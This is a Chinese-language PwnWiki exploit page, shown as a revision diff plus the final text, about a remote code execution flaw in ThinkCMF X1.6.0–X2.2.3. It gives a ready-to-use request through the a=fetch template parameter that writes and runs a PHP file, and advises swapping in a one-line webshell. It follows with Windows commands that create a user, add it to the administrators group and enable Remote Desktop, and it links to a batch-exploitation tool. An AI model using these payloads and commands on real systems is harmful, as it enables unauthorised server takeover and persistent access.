Difference between revisions of "ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞"

From PwnWiki
(建立內容為「= ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞 = ==影響版本:== <blockquote> ThinkCMF X1.6.0<br> ThinkCMF X2.1.0<br> ThinkCMF X2.2.0<br> ThinkCMF X…」的新頁面)
 
m (thinkcmf批量利用工具)
 
Line 11: Line 11:
 
ThinkCMF X2.2.3<br>
 
ThinkCMF X2.2.3<br>
 
</blockquote>
 
</blockquote>
 
 
==漏洞利用:==
 
==漏洞利用:==
 
使用a參數的fetch方法,實現遠程代碼執行<br>
 
使用a參數的fetch方法,實現遠程代碼執行<br>
Line 19: Line 18:
 
訪問:<br>
 
訪問:<br>
 
<code>http://127.0.0.1/cmfx/test.php</code><br>
 
<code>http://127.0.0.1/cmfx/test.php</code><br>
 
 
即可顯示PHPINFO信息。
 
即可顯示PHPINFO信息。
 
修改Payload爲一句話木馬即可Getshell。
 
修改Payload爲一句話木馬即可Getshell。
 
 
=====新建用戶並添加到管理員組,開啟遠程桌面連接(對於Windows):=====
 
=====新建用戶並添加到管理員組,開啟遠程桌面連接(對於Windows):=====
 
 
<code>
 
<code>
 
net user test test /add
 
net user test test /add
 
 
net localgroup administrators test /add
 
net localgroup administrators test /add
 
 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
 
</code>
 
</code>
 +
 +
== thinkcmf批量利用工具 ==
 +
[https://github.com/Anonymous-ghost/AttackWebFrameworkTools Thinkcmf批量利用工具]

Latest revision as of 15:54, 2 July 2021

ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞

影響版本:

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

漏洞利用:

使用a參數的fetch方法,實現遠程代碼執行
?a=fetch&templateFile=public/index&prefix=&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
訪問:
http://127.0.0.1/cmfx/?a=fetch&templateFile=public/index&prefix=&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
訪問:
http://127.0.0.1/cmfx/test.php
即可顯示PHPINFO信息。 修改Payload爲一句話木馬即可Getshell。

新建用戶並添加到管理員組,開啟遠程桌面連接(對於Windows):

net user test test /add net localgroup administrators test /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

thinkcmf批量利用工具

Thinkcmf批量利用工具